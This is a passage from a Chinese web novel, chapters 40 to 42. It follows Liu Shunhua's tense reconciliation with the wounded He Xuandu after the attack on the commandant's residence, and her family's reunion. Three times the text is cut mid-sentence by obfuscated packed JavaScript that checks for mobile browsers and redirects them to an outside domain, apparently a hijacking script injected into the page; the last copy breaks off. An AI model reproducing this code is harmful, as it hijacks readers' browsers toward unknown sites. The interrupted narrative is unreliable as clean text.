柳棠华笑了起来,“外祖他们都挺好,就是表哥们不怎么好。遇到万都尉后,外祖才知姐姐并没有出城,对着表哥们骂了一晚,他们一个个愧疚得一晚上没敢合眼。” 柳舜华笑出声来,“你先回去,让他们别担心,我处理好一些事,稍后便回去。” 柳棠华撇着嘴,“姐姐,你还要在这里多久啊?” 柳棠华摸了摸她的脸,“很快。” “柳小姐,现下都已过了午时,饿坏了吧?”方才的侍女端着个小锅走了进来。 她身后紧跟着两个侍女,手里皆拿着小碗,并一些调味之物。 柳棠华一看,睁大双眼,都尉府用膳也太体贴了点。 侍女将锅放下,掀开锅盖,锅内羊汤还在咕嘟咕嘟地翻滚,热气瞬间飘散,一股肉香迎面扑来。 她拿过碗,盛了一碗满是羊肉的汤,夹了些葱花,撒上一层胡椒,递给柳舜华。 “表公子说,柳小姐喜欢羊肉汤,我便一早让人备下了。虽说如今天热了起来,但小姐连日辛劳,喝点汤发发汗,补一补也是极好的。” 自昨日起,柳舜华便忙于奔波,这会是真饿了。 她接过羊肉汤,喝了几口,眉头微微一动。 这味道,同在长安与贺玄度吃的那家几乎毫无二致。 她疑道:“贺玄度已经醒了?” 侍女笑道:“表公子身体好着呢,今晨便醒了。听说您受到惊吓晕倒了,爬着要过来看您呢,被范神医死活给按住了。” 说完看了一眼羊肉汤,又道:“他怕您醒来饿着,让我备了您喜欢的羊肉汤,说要用鱼汤熬制打底,羊肉要选羊腿肉,还要炖得烂烂的。” 柳棠华听得目瞪口呆,她听说贺玄度背上中了一箭。人都这样了,还不忘亲自叮嘱吃食。 柳舜华匆匆将手中的喝了个精光,一转头,见柳棠华盯着锅,口水都快流了出来。 她笑了笑:“是我疏忽了,忘记你也没吃。这样吧,你也不必急着回去,先在这吃了汤,稍后咱们一起回。” 侍女听到,即刻盛了汤端给柳棠华。 柳棠华得了汤,深吸了一口气,也不要汤匙,就着碗喝了一大口,这才满足地放下,“姐姐,你是去要看贺公子吗?” 柳舜华脸上微红,咳了一声,揉了揉头,“贺玄度先是帮忙救出了表姐,又替我挡了一箭,论理说我……” 柳棠华压根不关心这些,摆摆手道:“姐姐你去吧,我在这喝着汤等你回来。” 贺玄度躺在病床上,背上的伤疼得他根本无法安眠,只能拿着一根小木棍,在地上画了个圆,看着蚂蚁在圈内费劲巴拉地跑来跑去。 都尉府上下都在忙着清理烧坏的房屋,安抚受伤的侍卫,舅舅又在审问郑刺史。他一个人傻躺着,不免觉得无聊。 他突然想起在相府被打后,也是这般无趣,多亏了柳舜华送他竹节人打发时间。只是可惜,竹节人被他留在了相府。 一会走神的功夫,地上的蚂蚁很快便要逃离,他忙举着木棍,试图重新划分疆域。 一袭雪青流云锦绣裙扫过地面,停在木棍旁。 贺玄度顺着衣摆朝上一看,喜道:“柳舜华,你醒了?” 柳舜华垂头看了眼木棍,眉头蹙了一下,很快又舒展开来。 贺玄度顺手将木棍丢在一边,献宝似的问:“羊肉汤你喝过了吗,怎么样,是不是和在长安喝过的一样?” 柳舜华嘴角翘起,“你对吃食,还真是独到。只喝过那么一回,就能猜到别人家的配方。” 贺玄度默然一笑,哪里是他天赋惊人,不过是后来去吃得多了,同店铺老板聊得多了,慢慢就知道了配方。 柳舜华靠过去,寻了个离病榻近点的地方坐下。 “你感觉怎么样,还疼吗?” 贺玄度笑道:“就这一箭,还伤不了我,放心吧,我好着呢。” 柳舜华想起侍女的话,看着他的后背,轻声道:“你此前也常受伤?” 贺玄度垂下眼眸,苦笑一声,“你不知道,我有几年没在丞相府,而是跟着舅舅在这生活。舅舅这个人什么都好,就是管得格外严。他自己是武将,要日日早起晨练,便逼着我也跟着他一起练。我吃不得苦,每次都偷懒,几年下来虽练得不上不下,但若遇贼人,还是能勉强应付一下。” 柳舜华知道他曾在凉州生活,只是因他断了腿,从没想过他还会功夫。 昨日打斗之时,她虽过去得晚,并未瞧见贺玄度与刺史府的贼军厮杀,但他护着她杀敌那架势,绝不像是花拳绣腿。 柳舜华心中隐隐有些猜测,但转头看到扔在地上的木棍,又不禁觉得好笑。 她想了想,“你这么躺着是不是有些无聊,等我回去,再做个竹节人给你玩如何?” 贺玄度一听,竹节人果然是她自己做的,心里当即暖暖的。 他的确有些无聊,但昨日一场混战,柳舜华此时必定也是劳累至极。 他换了个姿势,让自己趴得更舒服些,“先不用,我这会手上无力,做了怕也是让你白费功夫。” 柳舜华点头:“也行。” 日光透过窗子照在贺玄度的脸上,他脸色尤有些泛白,整个人看起来冷浸浸的,额前几缕发丝散乱落下,眼中带着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14984165|154510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几分淡淡的懒意。 因在病中,他也没那么多讲究,褪去素日里花里胡哨的锦衣,只穿了件素袍。这样安静又淡然的模样,与前世毫无分别。 柳舜华双眼迷离地盯着这张脸,仿佛又看到他坐在亭边轮椅上,风吹过莲池,撩动他的衣襟,手中的书卷倏忽翻了一页。 这样的贺玄度,她许久未曾见过了。 贺玄度觉察到她的目光,抬起头来。 他能感觉到,她的的确确是在看他,可不知为何,眼神中却是化不开的失落与哀伤。 贺玄度不明白,她为何突然这么看他,明明就在昨日,他们才一起经历生死。 这个眼神,让他很不舒服。 有那么一瞬,他甚至觉得,昨日他们经历的一切不过是过眼云烟。 他本就在病中,莫名有些胸闷,再仰起头,声音中多了几分疏离和冷淡,“你到底在看什么?” 柳舜华恍然回神,不解地看着贺玄度,这人怎么好端端的突然就生气了。 细细一想,许是他受了伤的缘故,躺在病床上有些憋屈,心中难免有些火气。 她知他心里不畅快,也不跟他计较,只是朝着他笑了笑,“你别急,范先生医术了得,过几日你便能下床了。” 贺玄度心下愈加不满。 她岔开话题,可见心虚。 等了片刻,柳舜华还是没有多余的解释。 他忍不住抬起头,闷闷地问:“柳舜华,你为何要过来?” 柳舜华没有听清,凑近道:“你说什么?” 贺玄度看着她的眼睛,“我说,都尉府如何与你何干,你为何要跑过来,你为何要留下?” 她明明可以走的,可却选择留下陪着他。 他一度以为,她对他是不同的。 可方才她的眼神…… 为何要留下? 柳舜华默默想着,因为他是贺玄度啊,那个不管她愚蠢无知还是浑浑噩噩,都不曾轻看她,一心想要将她拉出泥沼的人。 她咬着唇,不知如何开口,看着他背上的伤,反问道,“贺玄度,那你呢,为何要替我挡那一箭?” 贺玄度一愣,见她三番两次转移话题,赌气道:“你不顾危险跑来告知详情,我自然要护你安全。莫说是你,便是随便任何人,我都一样会护着她。柳舜华,你以为我为你挡了一箭,就可以任由你戏弄?” 柳舜华有些怔愣,只是,因为这样? 她以为,贺玄度对她,是不同的。 天地一片昏沉,她满脑子只听到贺玄度方才那句:换作任何人,他都会一样。 没错,他本来就是一个良善之人,在他眼里,她与其他人并无任何分别,他对她并无多余的心思。 一瞬间,柳舜华羞愧万分,她误会了贺玄度的心思。 她以为,她是在帮他,殊不知却为他带来困扰。 若是没有她,贺玄度照样能坚持到万都尉赶过来,而且也不会受伤。 见她垂眸不语,贺玄度方觉他的语气重了些,他缓声道:“你还没说,为什么留下。” 她心慌意乱,攥紧双手,努力让自己看起来镇定从容,生怕他看出自己幽暗的心意。 “万都尉此前帮过我,你又帮忙救出了我表姐,于情于理,我都应该这么做,不然岂不要良心难安。” 贺玄度神色一变,连声笑道:“好,好,好得很。” 贺玄度一向爱嬉笑玩闹,偶尔生气,也只是像炸毛的小狗一般,只要顺着他,便能让他消气。可今日,不知为何,他虽是笑着,眼中却满是冷意,整个人更像一头隐藏怒气的狮子。 柳舜华茫然无措,不知道她究竟说错了什么。 屋内瞬间安静下来,风似乎被遏住了,贺玄度心内躁热不已。 他转过脸,不再看她,静静地望向窗外,半张侧脸冷淡而疏离。 他这个眼神,明明像极了前世那个她熟悉的贺玄度,柳舜华心上却没由来一阵恐慌。 她下意识想握紧双手,却感觉有什么东西,轻飘飘的,正从她指尖流失。 41. 第 41 章 “从昨晚忙到现在,终于得空……” 万都尉踏进来,看到两人,一个躺在床上生着闷气,一个坐在榻上一脸茫然。 柳舜华见是万都尉,起身施礼。 万都尉虚扶一下,正色道:“柳小姐,实在是太见外了。这次多亏了你们,不然,都尉府危矣。” 柳舜华忙道:“哪里,万都尉运筹帷幄,我不过是做了凉州百姓应该做的而已。” 万都尉爽朗一笑,“你这丫头,就是心思活。” 柳舜华看了一眼贺玄度,“既然万都尉有事,那我就先不打扰了。” 说罢,便起身走了出去。 等她出了门,万都尉瞪了贺玄度一眼:“人都走了。你这个臭小子,是不是又说了什么不着边的话,把人给气着了。” 贺玄度嘴硬道:“她走不走关我什么事?” 万都尉指着他,“你就作吧,这么好的姑娘,错过了可就真没了,你后悔都没地方哭。” 贺玄度悻悻垂头,“没了就没了,反正她也不在乎我。” 万都尉就势坐下,“你是不是整日装纨绔装得脑子都不好使了?明眼人都看得出来,柳姑娘有多看中你。她如果不拿你当回事,会不顾危险地跑来给你通信?” 贺玄度抬头看了一眼万都尉,哼了一声,“那是此前您救过她,她感恩您,才跑来帮都尉府。” 万都尉听他阴阳怪气,一巴掌就要落下去,想着他受了伤,终是停住了。 “她若是只感激我,大可告信之后自行离去。还有,方才我过来之时,可是瞧得真切,人家一门心思都在你身上。” 贺玄度嘴角含笑,往万都尉那边挪了一下,“真的?” 万都尉瞧他笑得都裂开了的嘴角,嫌弃道:“你瞧瞧你,哪里有平日里杀伐果决的样子,和你纨绔时候的蠢样没什么分别。” 他叹了一口气,“有时候我就想,你这纨绔装久了,到底是好还是不好?别装到最后,真成了个纨绔才好。” 贺玄度漫不经心道:“真纨绔也好,假纨绔也罢,不过是为达到目的戴的一张面具而已。其实,当个纨绔也没什么不好,自在随心,别人怎么看,随他们去。只要……” 万都尉问:“只要什么?” 贺玄度没有说下去,而是问:“舅舅,郑刺史那边怎么样了?” 万都尉眉头一皱,“他虽是个软骨头,但毕竟还有个儿子在,估计是受制于人,只招认他与匈奴勾结,妄图诬陷于我,却始终不肯承认是彭城王指使。” 贺玄度想了一下,问:“那伙贼匪呢,有没有拷问?” 说到这个,万都尉又靠近些,“多亏你耳朵灵,听到那贼首的名字,他虽趁乱跑了,但到底不是毫无收获。” 贺玄度问:“他们是什么人?” 万都尉一笑,“我们根据那个叫刑风的,威逼利诱了一些胆小怕事的喽啰,顺藤摸瓜,查到他们是千机阁的人。” 千机阁,江湖上的杀手组织。传闻阁中杀手个个功夫了得,手段狠厉,这些年没少在江湖中引起争端。 千机阁也是彭城王的暗中势力,可见其野心。 彭城王不但勾结匈奴,妄图诬陷都尉府,竟还私养死士,这次绝对是一个将他拉下马的好时机,只是郑刺史…… 贺玄度猛然抬头,问道:“郑充人怎么样?” 万都尉叹声道:“晚了,咱们的人赶到刺史府的时候,他已被人带走。” 这下麻烦了,郑刺史最看重他这唯一的儿子,只要千机阁控制着郑充,他绝不会轻易招认。 贺玄度揉揉头,“郑充被人带走,那刺史府的证据应该也没有留下。千机阁的人,动手还真是快。” 万都尉点头,“真是没想到,这群贼匪是千机阁的人,难怪当初下手这么狠。郑列这厮,也太狠了些,完全不顾下面百姓的死活。” 贺玄度冷笑一声,“匈奴都能勾结,这点又算什么?若不是当初舅舅觉察出匈奴动机不纯,留了曹护军顶着,这会都尉府已经是尸山血海了。” 万都尉握紧拳头,“当初我只是以为刺史府掌握了匈奴的动向,妄图抢在我前面出击,夺取功劳,没想到……这个郑列,我还真是高看他了。” 他看着贺玄度背上的伤,有些心疼,“只是为了这出戏,将你陷入险地,还害你受了伤。这次,当真是惊险,幸亏此前留下那些假贼匪,勉强抵挡片刻,不然……还真是后果难料。” 贺玄度道:“的确,他们杀敌都是一等一的好手,尤其那个程三,沦为贼寇实在可惜。” 万都尉想了一下,说道:“那些假贼匪御敌有功,又多受了伤,我已经安排医治了。等你伤好了,不如替我想想,怎么安置他们。” 贺玄度为了等柳舜华,一直没合眼,这会已是有些倦了,懒洋洋地打了个哈欠,“好,舅舅安心处理郑列之事便好。” 万都尉拍了拍他的肩,“你先好好休息,郑列那边有我。” …… 柳舜华一路郁郁,满脑子都是贺玄度方才冷冷的神情,上马车时险些跌倒。 柳棠华及时扶住她,“姐姐,是不是贺公子情况不太好,怎么你看完他就恍恍惚惚的?” 柳舜华木然地上了车,眼睛盯着都尉府的大门,“他无事,只是……是我多事,让他有了困扰。” 柳棠华挠挠头,“什么多事,困扰的?你是不知,贺公子有多紧张你。你昏睡之时,贺公子每隔一阵子便让人回禀一次,生怕你有个好歹。” 柳舜华心内酸楚,“那是因为我去报信,换做其他人,他也一样。” 柳棠华撇撇嘴,“姐姐,我原以为你是聪明的,怎么也这么糊涂?贺公子待你如何,有眼睛的都能看到。自来了凉州,他又是帮忙对付郑充,又是帮忙救表姐,还替你挡了一箭。你瞧着方才,怕你饿着,锅都给你端了上来,怎么能说和其他人一样呢?” 柳舜华扑哧一笑,这丫头,扯来扯去,总是能扯到吃上。 柳棠华凑过去,笑道:“姐姐,你平日不这样的,怎么今日患得患失的?我发现,一碰上这个贺公子,你就有些不太像你了。” 柳舜华细细思索着柳棠华的话,想起贺玄度素日待她的好,也觉方才的反应委实有些过了。可当时一看到贺玄度冷脸,她茫然又委屈,情绪不受控制,根本由不得自己。 她沉下心来,不能仅凭今日一句话,就否认了贺玄度的心意。即便他对她没有多余的心思,也绝不至于会厌恶她。贺玄度受了伤,急躁一点也在所难免。如此安慰自己,才渐渐顺过气来。 回到家中,外祖一把拉过她,不停落泪。 舅舅、舅母与两个表兄妹过来劝慰半日,方才止住。 正厅内,外祖脸色凝重,“你这丫头,怎么这么大的事,也不跟家里面的人说一下。这么危险,若是万一……” 外祖说着,想起昨日的惊险,想起柳舜华过世的母亲,又垂泪不止。 舅舅跪倒在地,“爹,都怪儿子不中用。但凡我有些能力,怎么会让茵儿受这些苦,让蓁蓁冒这个险?” 舅母也跟着跪下,“我也有错,我去刺史府几趟,没能看出茵儿她在受着折磨,我对不起孩子们。” 表兄妹一看,也跟着要跪下。 外祖看着众人,颤声道:“都给我起来,这么跪着,成何体统。” 陈茵早哭成了个泪人,却不敢出声,只是默默地流泪。 外祖看着陈茵,好好一个姑娘,如今瘦得皮包骨头,一颗心像被刀滚过一样。 “茵儿啊,都是祖父的错,祖父对不起你,把你嫁到那个虎狼窝里……” 陈茵走过去,跪在外祖身边,“祖父,您这样说,孙女真是要愧死。您都是为我好,一心想我嫁个好人家,是那郑氏父子狼子野心,怎么能怪您呢?” 外祖忙扶起陈茵,“你身子弱,快起来。” 柳舜华走过去将表姐扶到椅子上,朝着众人笑道,“今天是个大好的日子,家里人都团团圆圆的,那些不好的事,都过去了。舅妈,我饿了,今晚咱们早些吃个团圆饭,可好?” 外祖擦了眼泪,“蓁蓁说得对,咱们就不要去想过去那些乌糟事了。今晚,就开开心心地吃个团圆饭。” 舅妈“诶”了一声,“我这就去准备。” 待众人散去,外祖单独留了柳舜华问话。 柳舜华心虚,乖乖站着一动也不动。 许久,外祖才叹一口气,指着她道:“你这个犟脾气,和你母亲一个样。一旦决定的事情,十头牛都拉不回。你倒是好了,独自一人去都尉府逞你的英雄,可你有没有想过,万一你出了事,外祖怎么能安心,你舅舅舅母,表姐怎能安心?” 柳舜华作势要跪,外祖瞪了她一眼,“你给我好好站着。” 柳舜华上前,拉着外祖的胳膊,“外祖,我错了,我下次再也不敢了。” 外祖拉开她的胳膊,“你别嬉皮笑脸,我问你,你同都尉府的表公子是怎么回事?” 柳舜华一愣,没想到外祖竟知道了贺玄度。 她垂下头,心虚道:“没怎么回事啊?就是来凉州的路上,我们遇到了一点小麻烦,恰好遇到万都尉,万都尉帮了我们。小时候,您不是常教我,滴水之恩,涌泉相报的嘛。我就想着,都尉府有难,我不能袖手旁观,就回去报信啊,谁知道刺史府的人动作那么快,围住了都尉府,我想出来也出不来啊。” 外祖皱眉,“我问你贺公子,你这啰啰嗦嗦地说这些做什么?” 柳舜华摆手道:“外祖,我同贺玄度也没那么熟,真的没什么关系。” 外祖狐疑道:“不熟,我怎么听莹丫头说,他还帮忙救茵儿出来呢?” 柳舜华:“那是他和郑充有仇。” 外祖想了一下,“那替你挡箭是怎么回事?” 柳舜华道:“那是他人好。” “如此说来,这贺公子当真是个不可多得的好男儿。”外祖点头,思忖片刻,缓缓道:“这样,待他伤好了,我要备礼登门道谢。到时,你同我一起。” …… 因此前柳舜华姐妹睡着陈茵旧日闺房,晚间休息时,她便同妹妹陈莹挤在一起。 陈莹心疼姐姐受的苦,更因误会姐姐而羞愧,巴不得同她睡在一起,好好安慰。 刺史府一事尘埃落定,陈茵明显松快下来。几人起初为照顾她的情绪,讲话还有些小心翼翼,陈莹与柳舜华拼命回忆一些旧日趣事,试图去逗陈茵开心。 刺史府之事虽告一段落,但陈茵心上的伤却是丝毫不减,一直垂眉低眼。 陈莹看在眼里,劝慰道:“姐姐,刺史府那种狼窝你都能逃出生天,这是大造化。今后,福气在后头呢。” 陈茵勉力一笑,“什么造化,福气的,只要不丢陈家的脸,我已是感恩戴德。” 陈莹眉头一凝,“姐姐这是说的什么话,你能回来,家里人不知道有多高兴。外人说什么,由他们去,你回家吃的是陈家的饭,与他们何干。” 陈茵垂下头去,“可我到底是嫁出去的女儿,若是一直留在这,受人指点非议,让弟弟们如何娶亲?” 柳舜华心上一颤,表姐没有说“家”,而是说“这里”。 她想起了前世,嫁入相府后,她何尝不是这样的心思。 柳棠华摇摇头,“表姐不对,这里也是你的家啊。表兄个个都是明理之人,怎么会在意这些?我兄长就说过,若是我不嫁, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14991647|154510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他养我一辈子。” 陈茵摸着她的头,小丫头当真天真得紧,哪里知道人言可畏呢。即便是没有这些流言蜚语,往后漫长岁月里,亲近的人终会迎来更亲的人,一步步慢慢来替代她。她不想,成为任何人的阻碍。 她低头沉默片刻,缓缓道:“我想,搬出去住,顺便做点营生养活自己。” 陈莹悻悻道:“姐姐干嘛要出去,出去后能做什么?” 陈莹抬头,毫无生机的脸上突然有了光彩,“我在家时便擅厨艺,刺史府几年也没少伺候那对挑剔的父子,此前我就一直想着,若是有朝一日能摆脱刺史府,便出去自力更生,外面天地广阔,总有我的容身之地。” 原本柳舜华还有些忧心表姐受此打击,会一蹶不振,没想到她会有此打算。表姐被刺史府磋磨多年,却还能如此清醒,提早便为以后的生活铺路,不由对她心生敬佩。 柳舜华极力支持道:“表姐,我觉得你说得对。我这里还有些多余的钱财,咱们这几天就可以去看铺子。” 她知晓,表姐从刺史府出来,什么都没有带。如今刺史府被封,昔日那些东西,怕是要充公。舅舅这边又没有什么多余的钱财,两个表兄又渐渐大了,往后花钱的地方多着呢。她来凉州时,正好带着贺玄度此前送的金饼。 陈莹有些不解地看着柳舜华,“我姐姐她才……,即便是要自力,眼下也未必是好时机,总归是太急了些。” 柳舜华却劝道:“但凡做了决定,最忌犹豫不决。我知道你在担心什么,一是流言蜚语,一是往后的出路。流言这种东西,大多只是一阵,等什么别的新鲜事出来,谁还会记得。至于出路,我小时候跟在表姐后面长大,表姐的手艺,我比谁都清楚。” 一番话说到了陈茵心坎里,她眼中含着泪,“蓁蓁,你不但帮我逃了出来,还这么支持我,我都不知该如何感谢你……” 不等柳舜华回应,柳棠华便笑道:“表姐,我姐姐是拿你当亲姐姐看的,你说感谢,可就显得生分了。” 陈茵跟着笑了起来,看着柳棠华道:“我算是知道你姐姐为何来凉州也要带着你了,你这个小甜豆,真是让人喜欢。” 陈莹哼了一声,“姐姐,你夸她不夸我,我也可甜了呢。” 柳舜华指着墙上的鞭子,笑得捂住肚子,“你还甜,你啊,就是个小辣椒。” 众人忍不住,都跟着笑了起来。 气得陈莹从床上爬起来,上去就要抓她,几人打打闹闹,刺史府带来的阴霾很快散去。 这一夜,柳舜华睡得格外香甜。 夜深人静,更漏声声,贺玄度趴在榻上,毫无睡意。 想起舅舅白日里说的那些话,他满脑子都是柳舜华那日说要留下时决绝的眼神。 他们一起经历了生死,好不容易才活了下来。本该有劫后余生的欣喜,如今却莫名其妙地相互置气。 他越想越后悔。 自相识以来,柳舜华待他如何,他不是不知,怎么就一时忍不住对柳舜华冷脸了呢? 柳舜华那眼神,也许并没有什么多余的意思,也许她只是刚好想起了什么,有些走神罢了。而且他当时状态并不大好,昨夜范神医施刀折腾了半夜,白日里又未曾好好休息,也许眼花看岔了也不一定。 不过是一个不值一提的眼神而已,自己几时竟变得如此小气。 如今冷静下来,细细一想,他当时的确有些无理取闹。 柳舜华当时一定生气了,所以走的时候都没有回头再多看他一眼。 越想越不安。 万一柳舜华也像他一样,气得翻来覆去睡不着,会不会从此就不再理他。 “成松,成松。”他喊了起来。 成松方迷迷糊糊地睡着,便被嚎醒,以为出了什么大事,从外间跑了进来。 “公子,怎么了,可是伤口……” 贺玄度打断他,“明日一早你马上去一趟陈家。” 成松睡眼惺忪:“哪个陈家?” 贺玄度嫌弃道:“就是柳舜华她外祖家啊,此前不是让你暗中调查过。” 成松反应过来,“公子,你也太心急了些吧,这大晚上的,就这么迫不及待地想着去请柳小姐。” 贺玄度咳了一声,摸着鼻子,“谁说我要请她过来了?我是突然想起来,他们陈家怎么说也是帮了咱们都尉府的大忙,是不是?今日我状态不太好,柳舜华过来的时候,我竟忘记向她当面致谢了。” 成松一脸嫌弃,“大半夜的,就为这么点事?” 贺玄度正色道:“怎么能是小事呢?她可是救了咱们都尉府。这么大的事,白日里她过来时,你也不提醒着我道谢?这不知道的,还以为都尉府多薄情寡义,不知感恩呢。传出去,都尉府的脸面还要不要了?” 成松打着哈欠,“好好好,这是天大的事,明日一早我就去陈家当面致谢。我的公子,能让我去睡了吗” “等一下,”贺玄度叫住了他。“那个,你也知道,柳小姐她,一直对我很关心。明日你去谢礼的时候,若柳小姐问起来我的情况,你就如实相告。若是她不问……你就,旁敲侧击地暗示她一下。不过,要注意点措辞。” 成松上下看了看贺玄度,不解:“你的情况?你什么情况?” 贺玄度指着自己的后背,“你没看到,我这都疼得彻夜难眠了。” 成松扫了一眼他的后背,嘴角一撇。之前被砍伤,比这严重多了,也没见这么矫情。 大半夜的把他薅起来,说只是为了都尉府的颜面,骗鬼啊。 分明是前脚得罪了人家柳小姐,后脚就想办法上赶着去讨好,当他是傻子看不出来吗? 还疼得睡不着,是闲得睡不着吧。 42. 第 42 章 夜里下了一场小雨。 早起醒来,一池青草漫长,蛙鸣阵阵。 院中的枣树越发油润,密密的枝叶间,隐隐露出豆大的青果子。 柳棠华拉起陈莹,仰着头去看那些小青果子。 二表哥蹑手蹑脚地走过去,对着枣树一跺脚,叶片上隔夜的雨水簌簌落下,微凉的雨滴滚进衣领里,激得两人一下跳了起来。 “好啊,我就知道是你搞的鬼,讨打。” 陈莹嘴上骂着,抓起墙边的短棍便追了上去。 二表哥抬脚便跑,方跑到门口迎面撞到上了人。抬头一望,来人身穿官服,不知来此作甚,瞬间紧张起来。 柳舜华正在屋檐下同陈茵说笑,抬眸一瞧,正看到周松。 “你怎么来了?”她有些诧异。 周松笑道:“此前刺史府突袭都尉府,多亏了柳小姐仗义出手,我奉都尉之命,特来道谢。” 说罢,一挥手,招呼几个等在门口的侍卫抬了谢礼进来。 二表哥听他说是都尉府的人,细细一瞧,发现竟是那日巷口给他们传话之人,这才放下心来。 外祖与舅舅听到动静,见是都尉府的人,忙出来相迎。 周松与他们客套两句,便指挥侍卫们将谢礼放好。 外祖瞧着堆积在旁的谢礼,连声道:“万都尉客气了。有劳这位官爷了,大清早的烦你特地跑来一趟。” 周松连连摆手,嘴上说着哪里哪里,脑子里却不住在想,这么多人在,他要如何不动声色地暗示柳舜华,才能让她看在表公子可怜的份上,原谅他这次的愚蠢行为。 外祖见他依旧站着,丝毫没有回去复命的意思,一时摸不清他的想法。 众人尴尬地站了片刻,外祖忍不住打破沉默:“这位官爷一路辛劳,若是不嫌弃,还请进屋喝一杯茶。” 周松听他提到茶,接道:“哎呀,说起这个茶啊,茶,我们表公子他,最喜欢喝这寻常人家的茶了。可惜啊,他没口福。” 他这话接得过于生硬,众人一时反应不过来,只能陪着干笑。 陈莹疑惑地看向柳舜华,眼神示意,这人到底想干什么? 柳舜华摇摇头,这个周松,今日的确有些怪异。 外祖只能赔笑道:“我们家的茶,都是外面铺子里随便买的,只怕入不了贺公子的口。” 周松突然一拍头,伤感道:“哎,贺公子如今怕是一口茶都喝不下了。” 他瞥了一眼柳舜华,继续道:“昨夜他疼得啊,是翻来覆去的,一整晚都没睡好。整个人都恹恹的,也没什么胃口,从昨天到现在,竟是一口饭也没吃啊。” 果然,此话一出,方才还一脸淡然的柳舜华忙走了过来,“昨日我离开时不是还好好的吗,怎么过了一夜,反而严重了呢?” 周松拧着眉,“大概是郁气凝结,导致淤血难散吧。” 柳舜华本就忧心贺玄度的伤势,听到他病情加重,更不放心。 她走到外祖身边,轻声道:“外祖,贺公子毕竟因我受伤,如今伤势加重,我想我应当前去探望,不然岂不失礼。” 外祖点头,“理当如此。” 得了外祖应允,柳舜华当即跟着周松去了都尉府。 贺玄度已经勉强能起身,半靠在榻上,正百无聊赖地喝着肉粥。 听到门口有脚步声传来,便知是周松回来了。 人还未进屋,他便急道:“你回来了,怎么样?” 周松大步跨进来,看到贺玄度手里的肉粥,朝着他使了个眼色。 贺玄度一时不解其意,疑惑地望着他。 周松露出一个自求多福的表情,退到一边。 日光流泻,青紫罗衣的裙摆扫过门槛,似一团青云飘荡,柳舜华走了进来。 贺玄度怔了片刻,他没想到,昨日他朝她冷脸,她竟还肯跟着过来。 想起周松方才的眼神,贺玄度福至心灵,一下明白了过来。 手一抖,汤匙落在碗中。 他身子费力向前,伸手去抓汤匙,手却抖得厉害,试了几次,都未曾拿到。 柳舜华看得眼眶泛红,贺玄度竟虚弱到如此地步。 她快步走过去,按住他,掏出帕子,将方才溅出来的粥糜擦干。 周松实在看不下去,找了个借口赶紧溜之大吉。 贺玄度微微喘着气,看着柳舜华低声道:“你怎么来了?” 柳舜华见他脸色惨白,眼下一片乌青,果如周松所言,他疼得彻夜未眠。 贺玄度偷偷瞥了柳舜华一眼,瞧她眼中满是疼惜,自觉是最佳时机,此时不道歉更待何时。 “对不起!” “对不起!” 话一出口,两人皆愣了片刻,待反应过来,忍不住低头笑了起来。 贺玄度笑道:“好端端的,你道什么歉。昨日之事,本就是我不对。如今你这一开口,倒显得我小肚鸡肠了。” 他半仰着头,目光中是一贯的肆意飞扬,嘴角的笑格外灿烂,衬得惨白的脸上都有了几分玉色。 柳舜华只觉压在心上的石头瞬间落了地,忍不住歪头一笑,“那我收回方才那句话?” 贺玄度摆摆手,“赶紧收回,我堂堂男子汉,若是还要你特地跑来向我道歉,像什么样子。” 柳舜华低头浅笑,看到方案上的肉粥,柔声问:“你还能自己喝吗?” 贺玄度眉头微皱,摇摇头,“浑身无力,方才胳膊好容易才抬一下,又抖得不行。” 柳舜华看着他的伤处,安慰道:“你伤了背,连着胳膊呢,举不起来也是正常,可千万别心急。不如叫成松回来,喂你如何?” “成松粗手粗脚的,让他喂我,我宁愿饿死。”贺玄度哭丧着脸,抬眼可怜巴巴地望着柳舜华,“你不是在呢嘛,要不,就劳你喂我吧?” 柳舜华无奈摇头,“都这样了,还这么多讲究。” 嘴里虽这么说着,柳舜华还是端起了碗。 肉粥应是端过来有段时辰了,摸着有些余温,倒也不烫。 柳舜华舀了一勺,贺玄度便自觉地把头凑过去。 如此喂了几勺,怕贺玄度总伸着脖子不舒服,柳舜华不觉向榻上坐近了些。 她昨夜洗了头发,发间犹留着甜涩的青草气,暗香幽浮,熏得人一时沉醉不已。 贺玄度抬头,正望见她纤细的脖颈,嫩藕似的雪白一片,一时神醉骨酥,不觉耳尖泛红。 柳舜华眼一瞥,瞧见他这副迷离的神情,脸上一红,不觉向后退了一步。 贺玄度敛了神色,“多谢你喂我,不然我怕是要被饿死了。” 柳舜华柳眉一横,沉脸道:“呸呸呸,什么死啊死的,大清早你就不知道忌讳。” 贺玄度点头,“好,我记下了,下次不会了。” 柳舜华这才满意,将碗放下,看着窗外绿树成荫,缓缓道:“来时桐花满路,如今却已是孟夏,还未好好瞧瞧凉州的春日,就这么过去了。” 贺玄度笑道:“想逛凉州城,这还不简单,等伤好了,我带你四处走走如何?凉州城靠近祁连山北麓,有一处马场,我带你去骑马如何?” 祁连山北麓马场,柳舜华再熟不过。 早年间,外祖就在那里给人养马。她的骑术,就是在那里学的。 她天生擅骑射,两个表哥尚不及她。 一晃多年,她都快忘了,在草原上肆意奔腾的感觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 